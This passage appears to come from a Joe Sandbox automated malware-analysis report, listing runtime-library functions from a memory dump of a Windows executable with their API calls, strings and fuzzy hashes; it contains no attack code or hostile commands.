Instruction Fuzzy Hash: 59017CF9A015109BCB07EF64D84957C7BA9EF85B40F158019E8019B381CF34AB06DB92

Uniqueness

Uniqueness Score: -1.00%

Function 0039F2DE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,16D241C6,?,?,00000000,003AE2B4,000000FF,?,0039F26E,0039F39E,?,0039F242,00000000), ref: 0039F313
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0039F325
FreeLibrary.KERNEL32(00000000,?,?,00000000,003AE2B4,000000FF,?,0039F26E,0039F39E,?,0039F242,00000000), ref: 0039F347

Strings

mscoree.dll, xrefs: 0039F30C
CorExitProcess, xrefs: 0039F31D
@9, xrefs: 0039F336

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll$@9
API String ID: 4061214504-1056107531
Opcode ID: 27c0aaf8d266a03c9b22a0f11ffdc2f899a9daadd14f578af6dfbca5877fb55a
Instruction ID: bb81031a300f4d51290457bfdf23677520da37739e5d1a824b24579f8db2905e
Opcode Fuzzy Hash: 27c0aaf8d266a03c9b22a0f11ffdc2f899a9daadd14f578af6dfbca5877fb55a
Instruction Fuzzy Hash: 07016236900659EFDB13DB90DC45BEEBBBDFB05B18F044635E911E2690EB789900CA90

Uniqueness

Uniqueness Score: -1.00%

Function 0039994A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00399941,0039959A,00397002), ref: 00399958
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00399966
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0039997F
SetLastError.KERNEL32(00000000,00399941,0039959A,00397002), ref: 003999D1

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a625f5807b6f63c5f52acdf0d63e55e2490c8508b48833ce7fa3b608ffd5948e
Instruction ID: 2ad3b0ac94bdbf7350ac5b815c82cefc75bda774d48c227a9feb5e73f9b43e1a
Opcode Fuzzy Hash: a625f5807b6f63c5f52acdf0d63e55e2490c8508b48833ce7fa3b608ffd5948e
Instruction Fuzzy Hash: A101B133209A115EAE2737BD7C85B6A2759EB03779B21032FF614491E1EF514C00D182

Uniqueness

Uniqueness Score: -1.00%

Function 00399A61 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00399B28
___AdjustPointer.LIBCMT ref: 00399B4B
___AdjustPointer.LIBCMT ref: 00399BE7

Strings

@9, xrefs: 00399AC0

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: AdjustPointer
String ID: @9
API String ID: 1740715915-1263358865
Opcode ID: ef84bd16ac6194f0da2086a06d55ae9ecb0e435ab86effd60f491e9f14c93b61
Instruction ID: 368eaca9e4475ad930110725cbc1a7c074327a2c21d975cd40a2b6f7ba3b06a9
Opcode Fuzzy Hash: ef84bd16ac6194f0da2086a06d55ae9ecb0e435ab86effd60f491e9f14c93b61
Instruction Fuzzy Hash: D151E2B2604202AFEF2B9F5CE881BBA77A8EF45315F15412FE8054B690E735ED80C790

Uniqueness

Uniqueness Score: -1.00%

Function 00392334 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00392340
int.LIBCPMT ref: 00392353

Part of subcall function 003916AA: std::_Lockit::_Lockit.LIBCPMT ref: 003916BB
Part of subcall function 003916AA: std::_Lockit::~_Lockit.LIBCPMT ref: 003916D5

std::_Facet_Register.LIBCPMT ref: 00392386
std::_Lockit::~_Lockit.LIBCPMT ref: 0039239C
Concurrency::cancel_current_task.LIBCPMT ref: 003923A7

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 7fb4b75af0e8c6dbe753c8bddd361e9fa9458ab78f75cc77794251349ef968c5
Instruction ID: bee2bea6b0ff8e336e26873f82941eda54a345f7e779bb79fa0297f7501de49d
Opcode Fuzzy Hash: 7fb4b75af0e8c6dbe753c8bddd361e9fa9458ab78f75cc77794251349ef968c5
Instruction Fuzzy Hash: 6901F2BA900A15BBCF17AB55D8868AE7B6CDF80764F220148F905AF290EB30DE01C780

Uniqueness

Uniqueness Score: -1.00%

Function 00392F03 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00392F0F
int.LIBCPMT ref: 00392F22

Part of subcall function 003916AA: std::_Lockit::_Lockit.LIBCPMT ref: 003916BB
Part of subcall function 003916AA: std::_Lockit::~_Lockit.LIBCPMT ref: 003916D5

std::_Facet_Register.LIBCPMT ref: 00392F55
std::_Lockit::~_Lockit.LIBCPMT ref: 00392F6B
Concurrency::cancel_current_task.LIBCPMT ref: 00392F76

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 039e661857ca28e9867f0a51f8e76218dbc2e2be11a2e6cd61ed6ee820e93c0a
Instruction ID: 09a5923251dc27a361497324b5f90aa316badd41e845a6c7a7ca07870a832435
Opcode Fuzzy Hash: 039e661857ca28e9867f0a51f8e76218dbc2e2be11a2e6cd61ed6ee820e93c0a
Instruction Fuzzy Hash: 0501A272904919BBCF17BB54D8068AE7778DF807A4F214149F906AB290EB709E02CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0039AA92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,0039AA43,00000000,00000001,003BA744,?,?,?,0039ABE6,00000004,InitializeCriticalSectionEx,003B0C90,InitializeCriticalSectionEx), ref: 0039AA9F
GetLastError.KERNEL32(?,0039AA43,00000000,00000001,003BA744,?,?,?,0039ABE6,00000004,InitializeCriticalSectionEx,003B0C90,InitializeCriticalSectionEx,00000000,?,0039A99D), ref: 0039AAA9
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,003998B3), ref: 0039AAD1

Strings

api-ms-, xrefs: 0039AAB6

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 9084fd165b1b328eb78245606991b52226f94f53d3490ef13cc71dcdd1206e28
Instruction ID: 3efac5a46a2d45e33f9f31623f89ced280b3d20882cea94faa94fa4696a0946e
Opcode Fuzzy Hash: 9084fd165b1b328eb78245606991b52226f94f53d3490ef13cc71dcdd1206e28
Instruction Fuzzy Hash: 03E0DF31680208BBEF125BB1EC06B593F98EB11B50F118030F94CE88E2E771E820D5C1

Uniqueness

Uniqueness Score: -1.00%

Function 003A3AD6 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(16D241C6,00000000,00000000,00000000), ref: 003A3B39

Part of subcall function 003A6CD2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003A5E00,?,00000000,-00000008), ref: 003A6D7E

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 003A3D94
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 003A3DDC
GetLastError.KERNEL32 ref: 003A3E7F

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 50da431e293778ce340aae200394809b8f50d8046188aaeaab11fd4b5e576dac
Instruction ID: d66a1323b7475dca910ea3d5817133dbb55b7b972f866b247fdf077b2c64c219
Opcode Fuzzy Hash: 50da431e293778ce340aae200394809b8f50d8046188aaeaab11fd4b5e576dac
Instruction Fuzzy Hash: 41D16DB5E006589FCF16CFE8D8809ADBBB9FF4A314F18412AE955EB351D730A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003A70EE Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 003A6CD2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003A5E00,?,00000000,-00000008), ref: 003A6D7E

GetLastError.KERNEL32 ref: 003A7152
__dosmaperr.LIBCMT ref: 003A7159
GetLastError.KERNEL32(?,?,?,?), ref: 003A7193
__dosmaperr.LIBCMT ref: 003A719A

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 3fe1d69a00db627763afd99f942bce5fd6c1a163aa24dcb9e3892837b6d589c6
Instruction ID: 0c25ffb7585b4a33370daa18de65ad2cfcd5db319fadbc24e9a2de70a4f5501c
Opcode Fuzzy Hash: 3fe1d69a00db627763afd99f942bce5fd6c1a163aa24dcb9e3892837b6d589c6
Instruction Fuzzy Hash: 4421C571608615AFDB23AFA59CC186BB7ECEF42364B118518F9199B251EB30EC408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0039E6B8 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ea092eefd653ca2d96f3e6aaad9287e2b2c1316fd1fddaa66dfd42587c6a297
Instruction ID: d77b45a944741013ae349e9c0ea7922892ce55aaea3965fcca6927c1209242e2
Opcode Fuzzy Hash: 2ea092eefd653ca2d96f3e6aaad9287e2b2c1316fd1fddaa66dfd42587c6a297
Instruction Fuzzy Hash: 6421AE32600205BFDF22EFF59C8096BB7ADEF01364B118524F819DB651EB31EC409BA2

Uniqueness

Uniqueness Score: -1.00%

Function 003A8084 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 003A808C

Part of subcall function 003A6CD2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003A5E00,?,00000000,-00000008), ref: 003A6D7E

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003A80C4
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003A80E4

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f3e11de0c73e111371830a6a0685f2323d4c3b5c48e5edec502864c87f7d795d
Instruction ID: 26809152a6c9e3fb9c6e2f183b292e3aa1f7d0edb51f36d37c4ad794a279500f
Opcode Fuzzy Hash: f3e11de0c73e111371830a6a0685f2323d4c3b5c48e5edec502864c87f7d795d
Instruction Fuzzy Hash: 9911D2B1901619BEA71767F69C8ECAF796CEE8B3A8B100534F941D5101FE68DD0282B0

Uniqueness

Uniqueness Score: -1.00%

Function 003AC594 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,003AB484,00000000,00000001,00000000,00000000,?,003A3ED3,00000000,00000000,00000000), ref: 003AC5AB
GetLastError.KERNEL32(?,003AB484,00000000,00000001,00000000,00000000,?,003A3ED3,00000000,00000000,00000000,00000000,00000000,?,003A445A,00000000), ref: 003AC5B7

Part of subcall function 003AC57D: CloseHandle.KERNEL32(FFFFFFFE,003AC5C7,?,003AB484,00000000,00000001,00000000,00000000,?,003A3ED3,00000000,00000000,00000000,00000000,00000000), ref: 003AC58D

___initconout.LIBCMT ref: 003AC5C7

Part of subcall function 003AC53F: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,003AC56E,003AB471,00000000,?,003A3ED3,00000000,00000000,00000000,00000000), ref: 003AC552

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,003AB484,00000000,00000001,00000000,00000000,?,003A3ED3,00000000,00000000,00000000,00000000), ref: 003AC5DC

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 50551410b06127a2a126f6ec549a1608f9b412c2a2f0c027160a7555e0490242
Instruction ID: da937ca151b5abba39284c1eb3f473b4ffee6595229872e0e4ef5dc60c60deb7
Opcode Fuzzy Hash: 50551410b06127a2a126f6ec549a1608f9b412c2a2f0c027160a7555e0490242
Instruction Fuzzy Hash: 1FF0C036911129BFCF231FD6EC04A9A7F6AFF4B3A1F054161FA1996130CB329960DB90

Uniqueness

Uniqueness Score: -1.00%

Function 003923AD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 003923B4
_strlen.LIBCMT ref: 003923D3

Strings

ASubcioXAos, xrefs: 003923B9, 003923D2

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: H_prolog3_catch_strlen
String ID: ASubcioXAos
API String ID: 3133806014-3705083126
Opcode ID: dd8f34d9dcf6d510e6de66bcf6d2c7317d9fc928427764d013ef1aa879580913
Instruction ID: 207d3197a74ef0b5e7cbdb9d50b4dcba0d37c9f13fe5a47e4e6b4102897399db
Opcode Fuzzy Hash: dd8f34d9dcf6d510e6de66bcf6d2c7317d9fc928427764d013ef1aa879580913
Instruction Fuzzy Hash: 04817971E00A149FCF16DF9DC8908AEBBF1BF88324F25825AE519AB3A1C7309D41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00391C89 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00391C8E

Part of subcall function 0039353D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00393549

Part of subcall function 003921B1: _strlen.LIBCMT ref: 003921C9

Strings

Divide, xrefs: 00391CBD
map/set too long, xrefs: 00391C89

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: Xinvalid_argument_strlenstd::_std::invalid_argument::invalid_argument
String ID: Divide$map/set too long
API String ID: 16509066-2202391395
Opcode ID: bff2d5ddb42f5a0d476375e825c8c7996108f09036565324bb1c589c39c791c7
Instruction ID: 9bca09d3bcfb60485ea49ac57869d91db6f4681dbd64498c9c933c09f22e1dcc
Opcode Fuzzy Hash: bff2d5ddb42f5a0d476375e825c8c7996108f09036565324bb1c589c39c791c7
Instruction Fuzzy Hash: F55103711083919FCB12EF24D8846ABFFE4AF95308F48096DE9D59B293D374D908C792

Uniqueness

Uniqueness Score: -1.00%

Function 003AD573 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,003ACEDF), ref: 003AD58C

Strings

$;, xrefs: 003AD6C2
@9, xrefs: 003AD656, 003AD700, 003AD746

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: DecodePointer
String ID: $;$@9
API String ID: 3527080286-3751178075
Opcode ID: d42876c4cb35d79f1b70ae7e542eddd16bf471a5a79c25947c141e62791024f1
Instruction ID: 324699820ef835214b7ac3412220ecf4f8b8a174b5092f3beb8655f614c27795
Opcode Fuzzy Hash: d42876c4cb35d79f1b70ae7e542eddd16bf471a5a79c25947c141e62791024f1
Instruction Fuzzy Hash: 6051A17490050ECBDF1A8F59E94C1EEBBB8FF07308F524245E586ABE68CB758925CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00392666 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0039266D
_strlen.LIBCMT ref: 00392685

Strings

Brightness, xrefs: 00392680, 0039274B

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: H_prolog3_catch_strlen
String ID: Brightness
API String ID: 3133806014-2519455027
Opcode ID: dc4257b85ffee9c0bfba3f9cc230fc31eea069412051bb8d03a6049cf2affe30
Instruction ID: e5fdf6308c48412558f83f451c54b09a82b1f2fe84a5d373f8fdf803c9f0eae5
Opcode Fuzzy Hash: dc4257b85ffee9c0bfba3f9cc230fc31eea069412051bb8d03a6049cf2affe30
Instruction Fuzzy Hash: 60419435A00E04AFCF27DF98D8909AE77B1AF48724F254259E224AF2E2C7719D42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0039A05D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0039A082

Strings

MOC, xrefs: 0039A094
RCC, xrefs: 0039A09C

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 25ffe69cbeb506c4e8614ae3989783232f06b059a65be8ceedbeea63ed1e164c
Instruction ID: 0b77ffb2f62a541231106bdd09c103d78d8286d6ec4af766ee1f3036563dc869
Opcode Fuzzy Hash: 25ffe69cbeb506c4e8614ae3989783232f06b059a65be8ceedbeea63ed1e164c
Instruction Fuzzy Hash: E8416B71900609AFCF16DF98CC81AEEBBB5FF48300F1A8259F9056B251D3359A51DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00393776 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00393782
std::_Lockit::~_Lockit.LIBCPMT ref: 003937DE

Strings

@9, xrefs: 003937A9, 003937C3

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: @9
